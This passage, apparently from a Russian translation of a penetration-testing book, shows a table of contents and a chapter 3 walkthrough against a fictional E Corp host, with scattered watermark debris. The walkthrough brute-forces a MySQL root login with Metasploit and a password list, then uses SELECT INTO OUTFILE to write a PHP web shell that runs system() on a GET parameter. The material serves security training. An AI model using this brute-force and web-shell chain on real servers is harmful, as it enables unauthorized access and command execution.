- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Анализ сети 75 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Похоже, что модуль успешно идентифицировал версию сервера MySQL. Это |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
будет полезно при поиске известных уязвимостей. |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
Если мы снова используем команду services, то заметим, что содержимое |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
поля info изменилось и в нем появились результаты сканирования mysql_ |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
version. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
msf auxiliary(mysql_version) > services -s mysql |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
Services |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
======== |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
host |
port proto name state info |
|
|
|
|
|
|
|
|
|
|
|
-------- ----- ---- ----- ----
10.0.5.198 3306 tcp |
mysql open |
5.5.5-10.1.25-MariaDB |
msf auxiliary(mysql_version) > |
|
Там, где сканирование с Nmap не дало возможности определить номер версии, Metasploit преуспел и автоматически изменил базу данных, чтобы отра зить это. Однако после проверки по базе данных общеизвестных уязвимостей информационной безопасности не похоже, чтобы у этой инсталляции были какие-либо известные уязвимости.
Вернувшись в терминал Kali Linux,можем использовать клиентскую команду mysql, чтобы попытаться пройти аутентификацию от имени пользователя
root(-u) на хосте api.ecorp.local (-h).
root@kali:~# mysql -uroot -hapi.ecorp.local
ERROR 1045 (28000): Access denied for user 'root'@'attacker.c2' (using password: NO)
root@kali:~#
Обратите внимание на отсутствие пробела между опциями -u и -h и их соответствующими значениями.Быстрая проверка на предметпустого пароля root не удалась, но это доказывает, что сервер MySQL принимает соединения с удаленных адресов.
Определение учетных данных
Поскольку мы не смогли обнаружить уязвимость для экземпляра MySQL, следующим шагом станетпопытка атаки методом полного перебора на суперпользователя MySQL по умолчанию. Будем использовать один из наших час то используемых словарей с паролями в надежде, что этот экземпляр не был должным образом защищен во время развертывания.
С помощью Metasploit можно довольно легко начать атаку с целью подбора учетных данных для входа в MySQL. Используем вспомогательный модуль mysql_login, как показано на скриншоте. Этот модуль имеет ряд дополни тельных опций для настройки.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 76 |
|
|||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Глава 3.Легкая добыча
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.3.4. Модуль mysql_login
Прежде чем продолжить, установим следующие значения, чтобы сделать сканирование более эффективным и уменьшить шум.
msf auxiliary(mysql_login) > set THREADS 10 THREADS => 10
msf auxiliary(mysql_login) > set VERBOSE false VERBOSE => false
msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf auxiliary(mysql_login) >
Увеличениечислапотоковпоможетнамбыстреепройтисканирование,хотя это может быть более заметным. Больше потоков означает больше подключений к службе. Если этот конкретный хост не очень устойчив, можем вызвать падение сервиса, предупредив тем самым средства защиты. Если наша цель – действоватьтише,мы используемтолько один поток,но сканирование займет гораздобольшевремени.ЗначениепеременнойVERBOSE должнобытьустановлено в false, поскольку мы будем тестировать большое количество паролей и вывод на консоль может превратиться в путаницу. Дополнительным бонусом к невербальному выводу является тот факт, что он значительно улучшает время сканирования,поскольку Metasploit не должен выводить что-либо на экран после каждой попытки. Наконец, если для STOP_ON_SUCCESS задано значение true, мы остановим атаку в случае успеха.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Анализ сети 77 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Именем пользователя будетroot,поскольку обычно в MySQL по умолчанию |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
включен именно он.
msf auxiliary(mysql_login) > set USERNAME root USERNAME => root
Что касается списка слов, то для переменной PASS_FILE будет установлена коллекция SecLists 10-million-passwordlist-top-500.txt. Это 500 самых популярных паролей из списка, содержащего свыше 10 млн паролей.
msf auxiliary(mysql_login) > set PASS_FILE
~/tools/SecLists/Passwords/Common-Credentials/10-million-password-listtop- 500.txt
PASS_FILE => ~/tools/SecLists/Passwords/Common-Credentials/10- millionpassword-list-top-10000.txt
msf auxiliary(mysql_login) >
Неплохое место для старта. Существуют другие лучшие варианты файла списка из 10 млн паролей, и если с его помощью не удастся создать действительный логин, можно попробовать топ-1000, топ-10 000 или другие списки слов.
Как и любой другой модуль в Metasploit, команда run начнет выполнение.
msf auxiliary(mysql_login) > run
Спустя несколько минут получаем хорошие новости.
[+] 10.0.5.198:3306 |
- MYSQL |
- Success: 'root:789456123' |
[*]Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed msf auxiliary(mysql_login) >
Похоже,мы нашли рабочий логин для инсталляции MySQL,работающего на том же компьютере, что и наше целевое приложение. Это может быть или не быть база данных, используемая самим API. Более внимательно посмотрим, можно ли найти способ создать оболочку и полностью скомпрометировать API-сервер E Corp., а также нашу жертву.
Можно подключиться напрямую из нашего экземпляра Kali Linux с по мощью команды mysql еще раз. Опция -u задает имя пользователя, а опция -p позволяет передатьтолько что обнаруженный пароль.Между опциями и их значениями нетпробела.Если опустим значениедля -p,клиентзапроситу нас пароль.
На скриншоте показано успешное подключение к службе баз данных и список доступных баз данных с использованием SQL-запроса show database;.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 78 |
|
|||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Глава 3.Легкая добыча
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.3.5. Успешно аутентифицированное соединение с целевой базой данных
После подключения мы запросили доступные базы данных, но, похоже, на этом сервере нет ничего, что имело бы отношение к API. Возможно, API настроен на использованиедругой базыданных SQL и мы наткнулисьна экземп ляр разработки, где мало интересных данных.
Учитывая тот факт, что мы являемся администратором базы данных, root, мы должны иметь возможность делать много чего интересного, в том числе записыватьпроизвольныеданныенадиск.Еслимыможемсделатьэто,значит, мы способны вызвать удаленное выполнение кода.
Существует модуль Metasploit (сюрприз), который может доставитьисполняемые файлы и инициироватьобратное подключение, используя известные учетные данные. В случае с компьютерами,
работающими на Windows,exploit/windows/mysql/mysql_payload
может загрузить оболочку Meterpreter и выполнить ее, хотя тут есть некоторые недостатки. Стандартная полезная нагрузка Metasploit, скорее всего, будет обнаружена антивирусным программным обеспечением,которое сообщит о ваших действиях.
Обойти антивирус можно с помощью абсолютно нераспознаваемой полезной нагрузки Metasploit, но в нашем случае мы воспользуемся более простым и менее рискованным вариантом.
В то время как MySQL может записывать файлы на диск с помощью операторов SQL-запросов, на самом деле запускать двоичные файлы немного сложнее. Нельзя просто записать двоичные данные на диск, но можно записать исходный код приложения. Самый простой способ добиться выполнения кода – написать PHP-код внутри каталога приложения, который позволит нам
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Анализ сети 79 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
выполнять команды оболочки через URL-адрес приложения. С помощью PHP |
|
|
e |
|
||||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
веб-оболочка будет принимать команды через HTTP-запрос методом GET и |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
передавать их в системную оболочку. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
Теперь выясним,где мы находимся на диске,чтобы у нас была возможность |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
записатьполезнуюнагрузкувсоответствующийкаталогвеб-приложения.SQL- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
запрос SHOW VARIABLES позволяет увидеть данные конфигурации, а оператор |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
WHERE ограничивает вывод только информацией каталога. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
MariaDB [(none)]> show variables where variable_name like '%dir'; |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
+--------------------------- |
|
|
|
|
+ |
+ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Variable_name |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
+--------------------------- |
|
|
|
|
+-------------------------------- |
+ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| aria_sync_log_dir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| basedir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| character_sets_dir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| datadir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| innodb_data_home_dir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| innodb_log_arch_dir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| innodb_log_group_home_dir | |
| |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
| innodb_tmpdir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| lc_messages_dir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| plugin_dir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| slave_load_tmpdir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
| tmpdir |
| |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
+--------------------------- |
|
|
|
|
+-------------------------------- |
+ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
12 rows in set (0.00 sec) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
MariaDB [(none)]> |
|
|
|
|
|
|
|
|
|
|
|
|
|
Похоже,чтоэтоXAMPP,локальныйвеб-серверсоткрытымисходнымкодом. Основной код веб-сайта должен располагаться в c:\xampp\htdocs\. Можно проверить это с помощью быстрого теста, используя команду curl. Обычно в XAMPP есть подкаталог в папке htdocs под названием xampp. Среди прочего он содержит файл .version, в котором находится нужная нам информация – версия XAMPP.
root@kali:~# curl http://api.ecorp.local/xampp/.version
5.6.31
root@kali:~#
Вернемся к интерфейсу командной строки MySQL и попытаемся выполнить запись в этот каталог с помощью запроса SELECT INTO OUTFILE. Если сможем поместить PHP-файл где-то в папке htdocs, то у нас получится вызвать его из веб-браузера или с помощью curl, и у нас будет выполнение кода.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 80 Глава 3.Легкая добыча |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Шаблон с оператором SELECT, который станем использовать для этой цели, |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
выглядиттак:
select "[shell code]" into outfile "[/path/to/file.php]";
Подключим несколько тестовых значений и посмотрим, можно ли выполнить запись в целевой каталог и, что более важно, будет ли веб-сервер приложения правильно обрабатывать наш PHP-код.
MariaDB [(none)]> select "<?php phpinfo();/*ECorpAppTest11251*/
?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";
Query OK, 1 row affected (0.01 sec) MariaDB [(none)]>
Флаг ECorpAppTest11251 добавлен в качестве комментария, если мы не сможем очистить эту оболочку после завершения теста и должны будем сообщить об этом Синей команде клиента.Это также поможет Синей команде определить файлы, пропущенные в рамкахупражнения по реагированию на компьютерные инциденты. Не всегда это необходимо делать, но это хорошая практика, особенно в случае с артефактами группы высокого риска.
Отлично – запрос оказался успешным. Мы можем проверить, работает ли интерпретатор PHP в этом каталоге и успешно ли выполняется файл, вызвав его из браузера, как показано на скриншоте.
Рис.3.6. PHP-код успешно выполняется
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Анализ сети 81 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
На этом этапе нам нужно получитьдоступ к командной строке сервера,что- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
бы иметь возможность выполнять произвольные команды, а не просто выво- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
дить данные PHP-конфигурации. Из-за изменения предыдущей полезной на- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
грузки SELECT INTO |
OUTFILE появится элементарная PHP-оболочка. В PHP |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
имеется встроенная функция, которая легко выполняет произвольные коман- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
ды.Это относится ко всем серверным языкам веб-программирования: Python, |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
Perl,ASP, Ruby и др. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
Если мы передадим данные из запроса GET во встроенную PHP-функцию |
|
|
|
|
|
|
system(), то сможем выполнять произвольные команды на самом сервере. Ниже показан исходный код нашей веб-оболочки.
Рис.3.7. Исходный код веб-оболочки
Код довольно прост. Оператор if убеждается, что значение хеша MD5 па-
раметра входящего password соответствует 4fe7aa8a3013d07e292e5218c3 db4944.При наличии совпадения в функцию system() будетпередана командная строка в параметре cmd,которая выполнитее в качестве системной команды, предоставляя нам доступ к командной строке сервера.
Значение MD5, которое мы ищем, – это хеш-значение ECorpAppTest11251, что подтверждается командой Linux md5sum.
root@sol:~# echo -n ECorpAppTest11251 | md5sum
4fe7aa8a3013d07e292e5218c3db4944 - root@sol:~#
Чтобы легко записать код оболочки на диск с помощью MySQL-запроса SELECT INTO OUTFILE, можно сжать его до одной строки. К счастью, PHP не особо обращает внимание на возврат каретки, если код правильно разделен точками с запятой и фигурными скобками. Мы можем изменить нашу вебоболочку.
<?php if (md5($_GET['password']) ==
‘4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>
Если подключим это к нашему шаблону SELECT INTO OUTFILE, то сможем записать его на диск в подкаталоге xampp, который возьмем в интернете.
MariaDB [(none)]> select "<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";